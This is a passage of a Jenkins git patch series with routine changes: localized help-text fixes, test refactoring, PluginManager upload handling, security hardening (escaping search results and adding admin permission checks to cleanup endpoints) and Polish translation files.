                                                  Weitere Informationen zum Thema "Sicherheit und Jenkins" finden Sie - hier. - \ No newline at end of file + hier. + diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_fr.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_fr.html index 3c10b0ecb2..ab0092207d 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_fr.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_fr.html @@ -18,5 +18,5 @@

                                                  Pour plus d'informations sur la sécurité dans Jenkins, voir - ce document. - \ No newline at end of file + ce document. + diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_ja.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_ja.html index 397f50f1f6..2b1d388bf7 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_ja.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_ja.html @@ -12,5 +12,5 @@ 有効でないままJenkinsのプロセスを起動すると、Jenkinsはハックされてしまいます。

                                                  Jenkins のセキュリティの詳細については, - このドキュメントを参照してください。 - \ No newline at end of file + このドキュメントを参照してください。 + diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_pt_BR.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_pt_BR.html index f2dbfd9673..59d6eef5d0 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_pt_BR.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_pt_BR.html @@ -16,5 +16,5 @@

                                                  Para mais informações sobre segurança e Jenkins, veja - este documento. + este documento. diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_ru.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_ru.html index 2d97434a06..e068efd717 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_ru.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_ru.html @@ -18,5 +18,5 @@

                                                  Для получения дополнительной информации о безопасности в Jenkins, прочтите - этот документ. - \ No newline at end of file + этот документ. + diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_tr.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_tr.html index e708863197..651dab0aef 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_tr.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_tr.html @@ -15,6 +15,6 @@ düşünürseniz, güvenlik ayarı olamayan bir Jenkins, hacklenmenin kesin bir yoludur.

                                                  - Güvenlik ile ilgili daha fazla bilgiyi bu dokümanda + Güvenlik ile ilgili daha fazla bilgiyi bu dokümanda bulabilirsiniz. - \ No newline at end of file + diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_zh_CN.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_zh_CN.html index 471c6f7ade..2da3291610 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_zh_CN.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_zh_CN.html @@ -10,5 +10,5 @@

                                                  更多Jenkins安全相关信息,请看 - 这个文档. - \ No newline at end of file + 这个文档. + diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_zh_TW.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_zh_TW.html index bc7cb3249b..290ec69bbd 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_zh_TW.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity_zh_TW.html @@ -13,6 +13,6 @@ Jenkins 會啟動處理序,所以不安全的 Jenkins 肯定是被駭的好路子。

                                                  - 參考這份文件, + 參考這份文件, 可以看到更多有關安全性及 Jenkins 的資訊。 - \ No newline at end of file + -- GitLab From 258b893e1f5ad45de9ccb996d4dd083df2875687 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 4 Jan 2017 10:09:59 -0500 Subject: [PATCH 662/811] Using standard MockAuthorizationStrategy. --- .../src/test/java/hudson/model/ItemsTest.java | 221 +----------------- 1 file changed, 1 insertion(+), 220 deletions(-) diff --git a/test/src/test/java/hudson/model/ItemsTest.java b/test/src/test/java/hudson/model/ItemsTest.java index 9a1ad9cc53..15e97bad9a 100644 --- a/test/src/test/java/hudson/model/ItemsTest.java +++ b/test/src/test/java/hudson/model/ItemsTest.java @@ -34,24 +34,13 @@ import hudson.cli.CLICommandInvoker; import hudson.cli.CopyJobCommand; import hudson.cli.CreateJobCommand; import hudson.security.ACL; -import hudson.security.AuthorizationStrategy; -import hudson.security.Permission; -import hudson.security.SidACL; import hudson.security.csrf.CrumbIssuer; import java.io.ByteArrayInputStream; import java.io.File; import java.io.IOException; import java.net.URL; -import java.util.ArrayList; import java.util.Arrays; -import java.util.Collection; -import java.util.Collections; -import java.util.HashSet; -import java.util.List; -import java.util.Set; -import java.util.regex.Pattern; import jenkins.model.Jenkins; -import org.acegisecurity.acls.sid.Sid; import org.acegisecurity.context.SecurityContext; import org.acegisecurity.context.SecurityContextHolder; import org.apache.commons.httpclient.HttpStatus; @@ -62,6 +51,7 @@ import org.junit.Rule; import org.junit.rules.TemporaryFolder; import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.MockAuthorizationStrategy; import org.jvnet.hudson.test.MockFolder; public class ItemsTest { @@ -269,213 +259,4 @@ public class ItemsTest { } } - // TODO delete in 1.651+ and use standard version - /** - * An authorization strategy configured in a fluent style from test code. - * Install using {@link Jenkins#setAuthorizationStrategy}. - * You probably also want to call {@link Jenkins#setSecurityRealm} on {@link JenkinsRule#createDummySecurityRealm}. - */ - private static class MockAuthorizationStrategy extends AuthorizationStrategy { - - private final List grantsOnTo = new ArrayList(); - - /** Creates a new strategy granting no permissions. */ - public MockAuthorizationStrategy() {} - - /** - * Begin granting a set of permissions. - * Note that grants cannot be subsequently revoked, but you could reset the strategy to a newly configured one. - * @param permissions which permissions to grant ({@link Permission#impliedBy} is honored) - */ - public Grant grant(Permission... permissions) { - Set effective = new HashSet(Arrays.asList(permissions)); - boolean added = true; - while (added) { - added = false; - for (Permission p : Permission.getAll()) { - added |= effective.contains(p.impliedBy) && effective.add(p); - } - } - return new Grant(effective); - } - - /** - * Like {@link #grant} but does not honor {@link Permission#impliedBy}. - */ - public Grant grantWithoutImplication(Permission... permissions) { - return new Grant(new HashSet(Arrays.asList(permissions))); - } - - /** - * A grant of a set of permissions. - * You must proceed to specify where they should be granted. - */ - public class Grant { - - private final Set permissions; - - Grant(Set permissions) { - this.permissions = permissions; - } - - /** - * Everywhere in Jenkins. - */ - public GrantOn everywhere() { - return onPaths(".*"); - } - - /** - * On {@code Jenkins} itself, but not any child objects. - */ - public GrantOn onRoot() { - return onPaths(""); - } - - /** - * On some items such as jobs. - * If some of these happen to be {@link ItemGroup}s, the grant is not applied to children. - */ - public GrantOn onItems(Item... items) { - String[] paths = new String[items.length]; - for (int i = 0; i < items.length; i++) { - paths[i] = Pattern.quote(items[i].getFullName()); - } - return onPaths(paths); - } - - /** - * On some item groups, typically folders. - * The grant applies to the folder itself as well as any (direct or indirect) children. - */ - public GrantOn onFolders(ItemGroup... folders) { - String[] paths = new String[folders.length]; - for (int i = 0; i < folders.length; i++) { - paths[i] = Pattern.quote(folders[i].getFullName()) + "(|/.+)"; - } - return onPaths(paths); - } - - /** - * On some item path expressions. - * Each element is an implicitly rooted regular expression. - * {@code Jenkins} itself is {@code ""}, a top-level job would be {@code "jobname"}, a nested job would be {@code "folder/jobname"}, etc. - * Grants are not implicitly applied to child objects. - */ - public GrantOn onPaths(String... pathRegexps) { - StringBuilder b = new StringBuilder(); - boolean first = true; - for (String rx : pathRegexps) { - if (first) { - first = false; - } else { - b.append('|'); - } - b.append("(?:").append(rx).append(')'); - } - return new GrantOn(b.toString()); - } - - /** - * A grant of some permissions in certain places. - * You must proceed to specify to whom the grant is made. - */ - public class GrantOn { - - private final Pattern regexp; - - GrantOn(String regexp) { - this.regexp = Pattern.compile(regexp); - } - - /** To some users or groups. */ - public MockAuthorizationStrategy to(String... sids) { - return new GrantOnTo(new HashSet(Arrays.asList(sids))).add(); - } - - /** To some users. */ - public MockAuthorizationStrategy to(User... users) { - String[] sids = new String[users.length]; - for (int i = 0; i < users.length; i++) { - sids[i] = users[i].getId(); - } - return to(sids); - } - - /** To everyone, including anonymous users. */ - public MockAuthorizationStrategy toEveryone() { - return to(/* SidACL.toString(ACL.EVERYONE) */"role_everyone"); - } - - /** To all authenticated users. */ - public MockAuthorizationStrategy toAuthenticated() { - return to(/* SecurityRealm.AUTHENTICATED_AUTHORITY */"authenticated"); - } - - private class GrantOnTo { - - private final Set sids; - - GrantOnTo(Set sids) { - this.sids = sids; - } - - MockAuthorizationStrategy add() { - grantsOnTo.add(this); - return MockAuthorizationStrategy.this; - } - - boolean matches(String path, String name, Permission permission) { - return regexp.matcher(path).matches() && - sids.contains(name) && // TODO consider IdStrategy - permissions.contains(permission); - } - - } - - } - - } - - @Override - public ACL getRootACL() { - return new ACLImpl(""); - } - - @Override - public ACL getACL(AbstractItem item) { - return new ACLImpl(item.getFullName()); - } - - @Override - public ACL getACL(Job project) { - return getACL((AbstractItem) project); // stupid overload - } - - private class ACLImpl extends SidACL { - - private final String path; - - ACLImpl(String path) { - this.path = path; - } - - @Override protected Boolean hasPermission(Sid p, Permission permission) { - String name = toString(p); - for (Grant.GrantOn.GrantOnTo grantOnTo : grantsOnTo) { - if (grantOnTo.matches(path, name, permission)) { - return true; - } - } - return null; // allow groups to be checked after users, etc. - } - - } - - @Override - public Collection getGroups() { - return Collections.emptySet(); // we do not differentiate usernames from groups - } - } - } -- GitLab From 8be14a7e3c4f2351dbfebe3992d57338cbebee4d Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 4 Jan 2017 10:14:38 -0500 Subject: [PATCH 663/811] Switching to ACL.as. --- core/src/main/java/hudson/model/Items.java | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/core/src/main/java/hudson/model/Items.java b/core/src/main/java/hudson/model/Items.java index bd07c36c3b..a30d459bd4 100644 --- a/core/src/main/java/hudson/model/Items.java +++ b/core/src/main/java/hudson/model/Items.java @@ -52,8 +52,6 @@ import javax.annotation.Nonnull; import jenkins.model.DirectlyModifiableTopLevelItemGroup; import jenkins.model.Jenkins; import org.acegisecurity.Authentication; -import org.acegisecurity.context.SecurityContext; -import org.acegisecurity.context.SecurityContextHolder; import org.apache.commons.io.FileUtils; import org.apache.commons.lang.StringUtils; @@ -633,11 +631,8 @@ public class Items { */ static void verifyItemDoesNotAlreadyExist(@Nonnull ItemGroup parent, @Nonnull String newName, @CheckForNull Item variant) throws IllegalArgumentException, Failure { Item existing; - SecurityContext orig = ACL.impersonate(ACL.SYSTEM); - try { + try (ACLContext ctxt = ACL.as(ACL.SYSTEM)) { existing = parent.getItem(newName); - } finally { - SecurityContextHolder.setContext(orig); } if (existing != null && existing != variant) { if (existing.hasPermission(Item.DISCOVER)) { -- GitLab From 8c54dd3dac54f8a9fbdbfc1a530083abc551e2dc Mon Sep 17 00:00:00 2001 From: Alex Earl Date: Wed, 4 Jan 2017 09:07:04 -0700 Subject: [PATCH 664/811] Add comment about hackiness --- Jenkinsfile | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Jenkinsfile b/Jenkinsfile index 1516d29068..16259bc1c7 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -97,6 +97,8 @@ void withMavenEnv(List envVars = [], def body) { } } +// This hacky method is used because File is not whitelisted, +// so we can't use renameTo or friends void renameFiles(def files, String prefix) { for(i = 0; i < files.length; i++) { def newPath = files[i].path.replace(files[i].name, "${prefix}-${files[i].name}") -- GitLab From b52a57cc0b8013532be3d4477246c1f54bba6992 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Wed, 4 Jan 2017 19:01:44 +0100 Subject: [PATCH 665/811] Refactor PluginManager advanced page handling a bit --- core/src/main/java/hudson/PluginManager.java | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index c0f08883e7..e46068ab10 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -67,6 +67,7 @@ import net.sf.json.JSONObject; import org.acegisecurity.Authentication; import org.apache.commons.fileupload.FileItem; +import org.apache.commons.fileupload.FileUploadException; import org.apache.commons.fileupload.disk.DiskFileItemFactory; import org.apache.commons.fileupload.servlet.ServletFileUpload; import org.apache.commons.io.FileUtils; @@ -1524,10 +1525,9 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas } sites.add(new UpdateSite(UpdateCenter.ID_DEFAULT, site)); - return HttpResponses.redirectToContextRoot(); + return new HttpRedirect("advanced"); } - @RequirePOST public HttpResponse doProxyConfigure(StaplerRequest req) throws IOException, ServletException { Jenkins jenkins = Jenkins.getInstance(); @@ -1555,7 +1555,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas ServletFileUpload upload = new ServletFileUpload(new DiskFileItemFactory()); // Parse the request - FileItem fileItem = (FileItem) upload.parseRequest(req).get(0); + FileItem fileItem = upload.parseRequest(req).get(0); String fileName = Util.getFileName(fileItem.getName()); if("".equals(fileName)){ return new HttpRedirect("advanced"); @@ -1568,7 +1568,12 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas // first copy into a temporary file name File t = File.createTempFile("uploaded", ".jpi"); t.deleteOnExit(); - fileItem.write(t); + try { + fileItem.write(t); + } catch (Exception e) { + // Exception thrown is too generic so at least limit the scope where it can occur + throw new ServletException(e); + } fileItem.delete(); final String baseName = identifyPluginShortName(t); @@ -1604,9 +1609,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas element("dependencies", dependencies); new UpdateSite(UpdateCenter.ID_UPLOAD, null).new Plugin(UpdateCenter.ID_UPLOAD, cfg).deploy(true); return new HttpRedirect("../updateCenter"); - } catch (IOException e) { - throw e; - } catch (Exception e) {// grrr. fileItem.write throws this + } catch (FileUploadException e) { throw new ServletException(e); } } -- GitLab From 95e02d4ca42e6dcb7b62ba44df6e10d070582464 Mon Sep 17 00:00:00 2001 From: "R. Tyler Croy" Date: Wed, 4 Jan 2017 14:57:14 -0800 Subject: [PATCH 666/811] Fix a minor typo typos in the JNLP TCP Port help text --- .../GlobalSecurityConfiguration/help-slaveAgentPort.html | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-slaveAgentPort.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-slaveAgentPort.html index 69a4760025..8681f55f8f 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-slaveAgentPort.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-slaveAgentPort.html @@ -1,7 +1,7 @@

                                                  - Jenkins uses a TCP port to communicate with agent agents launched via JNLP. + Jenkins uses a TCP port to communicate with agents launched via JNLP. Normally this port is chosen randomly to avoid collisions, but this would make securing the system difficult. If you are not using JNLP agents, it's recommend to disable this TCP port. Alternatively, you can specify the fixed port number so that you can configure your firewall accordingly. -
                                                  \ No newline at end of file + -- GitLab From e45a703665c728fcaf46246838b757b546988955 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Thu, 5 Jan 2017 20:06:23 +0100 Subject: [PATCH 667/811] [SECURITY-385] Minor test improvement --- test/src/test/java/hudson/search/SearchTest.java | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/test/src/test/java/hudson/search/SearchTest.java b/test/src/test/java/hudson/search/SearchTest.java index 74e26678d8..da324c6aed 100644 --- a/test/src/test/java/hudson/search/SearchTest.java +++ b/test/src/test/java/hudson/search/SearchTest.java @@ -36,6 +36,7 @@ import java.io.IOException; import java.net.URL; import java.util.ArrayList; +import java.util.Collections; import java.util.List; import hudson.model.User; @@ -412,7 +413,7 @@ public class SearchTest { List results = new ArrayList<>(); j.jenkins.getSearchIndex().suggest("foo", results); - assertEquals("empty results list", 0, results.size()); + assertEquals("empty results list", Collections.emptyList(), results); } }); } -- GitLab From 9d29d65033ee71af4109dd15bcb0d02f3a0694e0 Mon Sep 17 00:00:00 2001 From: Kanstantsin Shautsou Date: Fri, 6 Jan 2017 19:12:04 +0300 Subject: [PATCH 668/811] [FIXED JENKINS-40863] Don't use javax.servlet imports for remoting call Signed-off-by: Kanstantsin Shautsou --- core/src/main/java/hudson/tasks/Shell.java | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/tasks/Shell.java b/core/src/main/java/hudson/tasks/Shell.java index bdd3ca44cf..1986e2dea7 100644 --- a/core/src/main/java/hudson/tasks/Shell.java +++ b/core/src/main/java/hudson/tasks/Shell.java @@ -24,7 +24,6 @@ package hudson.tasks; import hudson.FilePath; -import hudson.Functions; import hudson.Util; import hudson.Extension; import hudson.model.AbstractProject; @@ -35,6 +34,7 @@ import java.io.ObjectStreamException; import hudson.util.LineEndingConversion; import jenkins.security.MasterToSlaveCallable; import net.sf.json.JSONObject; +import org.apache.commons.lang.SystemUtils; import org.jenkinsci.Symbol; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.DoNotUse; @@ -153,8 +153,9 @@ public class Shell extends CommandInterpreter { */ @Deprecated public String getShellOrDefault() { - if(shell==null) - return Functions.isWindows() ?"sh":"/bin/sh"; + if (shell == null) { + return SystemUtils.IS_OS_WINDOWS ? "sh" : "/bin/sh"; + } return shell; } @@ -229,7 +230,7 @@ public class Shell extends CommandInterpreter { private static final long serialVersionUID = 1L; public String call() throws IOException { - return Functions.isWindows() ? "sh" : "/bin/sh"; + return SystemUtils.IS_OS_WINDOWS ? "sh" : "/bin/sh"; } } -- GitLab From cd9915c9466bb29e76b86755c291d6cc624e140e Mon Sep 17 00:00:00 2001 From: Kanstantsin Shautsou Date: Fri, 6 Jan 2017 19:48:46 +0300 Subject: [PATCH 669/811] Remove not existed build variable --- BUILDING.TXT | 1 - 1 file changed, 1 deletion(-) diff --git a/BUILDING.TXT b/BUILDING.TXT index 09766de355..bde5cadf35 100644 --- a/BUILDING.TXT +++ b/BUILDING.TXT @@ -4,7 +4,6 @@ execution), run: mvn clean install -pl war -am -DskipTests The WAR file will be in war/target/jenkins.war (you can play with it) -You can deactivate test-harness execution with -Dskip-test-harness For more information on building Jenkins, visit https://wiki.jenkins-ci.org/display/JENKINS/Building+Jenkins -- GitLab From 7ae469770fd10c79bebc07511cd0ab1cafd33292 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 6 Jan 2017 14:26:57 -0500 Subject: [PATCH 670/811] [SECURITY-388] Escape metacharacters in the search box. --- war/src/main/webapp/scripts/hudson-behavior.js | 1 + 1 file changed, 1 insertion(+) diff --git a/war/src/main/webapp/scripts/hudson-behavior.js b/war/src/main/webapp/scripts/hudson-behavior.js index 22d85fd27e..77a4c41b34 100644 --- a/war/src/main/webapp/scripts/hudson-behavior.js +++ b/war/src/main/webapp/scripts/hudson-behavior.js @@ -2168,6 +2168,7 @@ function createSearchBox(searchURL) { var ac = new YAHOO.widget.AutoComplete("search-box","search-box-completion",ds); ac.typeAhead = false; ac.autoHighlight = false; + ac.formatResult = ac.formatEscapedResult; var box = $("search-box"); var sizer = $("search-box-sizer"); -- GitLab From 9ce5405a9197aa868bacd53b1c26ab8719764f70 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 6 Jan 2017 14:50:12 -0500 Subject: [PATCH 671/811] [SECURITY-389] Check ADMINISTER on /fingerprintCleanup and /workspaceCleanup. --- core/src/main/java/jenkins/model/Jenkins.java | 2 ++ 1 file changed, 2 insertions(+) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 65a5c9ebcf..5d45327007 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -3620,6 +3620,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve @RequirePOST public void doFingerprintCleanup(StaplerResponse rsp) throws IOException { + checkPermission(ADMINISTER); FingerprintCleanupThread.invoke(); rsp.setStatus(HttpServletResponse.SC_OK); rsp.setContentType("text/plain"); @@ -3628,6 +3629,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve @RequirePOST public void doWorkspaceCleanup(StaplerResponse rsp) throws IOException { + checkPermission(ADMINISTER); WorkspaceCleanupThread.invoke(); rsp.setStatus(HttpServletResponse.SC_OK); rsp.setContentType("text/plain"); -- GitLab From b54a583a475bc13d2d34ea13026cf43bf0a6a2c1 Mon Sep 17 00:00:00 2001 From: Damian Szczepanik Date: Sun, 1 Jan 2017 15:44:42 +0100 Subject: [PATCH 672/811] Polish translations --- .../hudson/PluginManager/table_pl.properties | 3 +- .../WindowsInstallerLink/index_pl.properties | 3 +- .../logging/LogRecorder/delete_pl.properties | 23 ++++++++++++++ .../logging/LogRecorder/index_pl.properties | 22 ++++++++++++++ .../LogRecorder/sidepanel_pl.properties | 25 ++++++++++++++++ .../sidepanel_pl.properties | 27 ++++++++++++++--- .../hudson/logging/Messages_pl.properties | 23 ++++++++++++++ .../hudson/model/Messages_pl.properties | 12 ++------ .../UpdateCenter/NoOpJob/row_pl.properties | 22 ++++++++++++++ .../Details/config_pl.properties | 23 ++++++++++++++ .../hudson/security/Messages_pl.properties | 3 +- .../HudsonFailedToLoad/index_pl.properties | 22 ++++++++++++++ .../hudson/util/Messages_pl.properties | 7 +++-- .../hudson/views/Messages_pl.properties | 4 +-- .../authenticate-security-token_pl.properties | 30 +++++++++++++++++++ .../setupWizardFirstUser_pl.properties | 22 ++++++++++++++ .../footer_pl.properties | 4 +-- .../model/Jenkins/_restart_pl.properties | 24 +++++++++++++++ .../model/Jenkins/configure_pl.properties | 3 +- .../lib/form/booleanRadio_pl.properties | 23 ++++++++++++++ .../lib/form/hetero-list_pl.properties | 22 ++++++++++++++ .../lib/hudson/buildListTable_pl.properties | 5 ++-- 22 files changed, 327 insertions(+), 25 deletions(-) create mode 100644 core/src/main/resources/hudson/logging/LogRecorder/delete_pl.properties create mode 100644 core/src/main/resources/hudson/logging/LogRecorder/index_pl.properties create mode 100644 core/src/main/resources/hudson/logging/LogRecorder/sidepanel_pl.properties create mode 100644 core/src/main/resources/hudson/logging/Messages_pl.properties create mode 100644 core/src/main/resources/hudson/model/UpdateCenter/NoOpJob/row_pl.properties create mode 100644 core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/Details/config_pl.properties create mode 100644 core/src/main/resources/hudson/util/HudsonFailedToLoad/index_pl.properties create mode 100644 core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_pl.properties create mode 100644 core/src/main/resources/jenkins/install/SetupWizard/setupWizardFirstUser_pl.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/_restart_pl.properties create mode 100644 core/src/main/resources/lib/form/booleanRadio_pl.properties create mode 100644 core/src/main/resources/lib/form/hetero-list_pl.properties diff --git a/core/src/main/resources/hudson/PluginManager/table_pl.properties b/core/src/main/resources/hudson/PluginManager/table_pl.properties index b6b6025d9a..475890ea44 100644 --- a/core/src/main/resources/hudson/PluginManager/table_pl.properties +++ b/core/src/main/resources/hudson/PluginManager/table_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2017, Sun Microsystems, Inc., Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -32,3 +32,4 @@ Name=Nazwa No\ updates=Brak dost\u0119pnych aktualizacji Version=Wersja coreWarning=UWAGA: Ten dodatek jest przygotowany dla Jenkinsa w wersji {0} lub nowszej. Mo\u017Ce nie dzia\u0142a\u0107 poprawnie z Twoj\u0105 wersj\u0105 Jenkinsa. +Update\ Center=Centrum aktualizacji \ No newline at end of file diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/index_pl.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/index_pl.properties index 2a1e0f897c..11b31afa40 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/index_pl.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/index_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2016 Damian Szczepanik +# Copyright (c) 2016-2017 Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -24,3 +24,4 @@ Install\ as\ Windows\ Service=Zainstaluj jako us\u0142ug\u0119 systemow\u0105 Yes=Tak Install=Zainstaluj Installation\ Complete=Instalacja zako\u0144czona +installBlurb=Instalacja jako us\u0142uga systemowa pozwoli uruchamia\u0107 Jenkinsa, gdy tylko system operacyjny b\u0119dzie gotowy niezale\u017Cnie od tego, kto go b\u0119dzie u\u017Cywa\u0142. diff --git a/core/src/main/resources/hudson/logging/LogRecorder/delete_pl.properties b/core/src/main/resources/hudson/logging/LogRecorder/delete_pl.properties new file mode 100644 index 0000000000..bc11809b5c --- /dev/null +++ b/core/src/main/resources/hudson/logging/LogRecorder/delete_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Are\ you\ sure\ about\ deleting\ this\ log\ recorder?=Czy na pewno chcesz usun\u0105\u0107 tego rejestratora log\u00F3w? +Yes=Tak diff --git a/core/src/main/resources/hudson/logging/LogRecorder/index_pl.properties b/core/src/main/resources/hudson/logging/LogRecorder/index_pl.properties new file mode 100644 index 0000000000..a3fc012d58 --- /dev/null +++ b/core/src/main/resources/hudson/logging/LogRecorder/index_pl.properties @@ -0,0 +1,22 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Clear\ This\ Log=Usu\u0144 logi diff --git a/core/src/main/resources/hudson/logging/LogRecorder/sidepanel_pl.properties b/core/src/main/resources/hudson/logging/LogRecorder/sidepanel_pl.properties new file mode 100644 index 0000000000..378dffae6e --- /dev/null +++ b/core/src/main/resources/hudson/logging/LogRecorder/sidepanel_pl.properties @@ -0,0 +1,25 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR 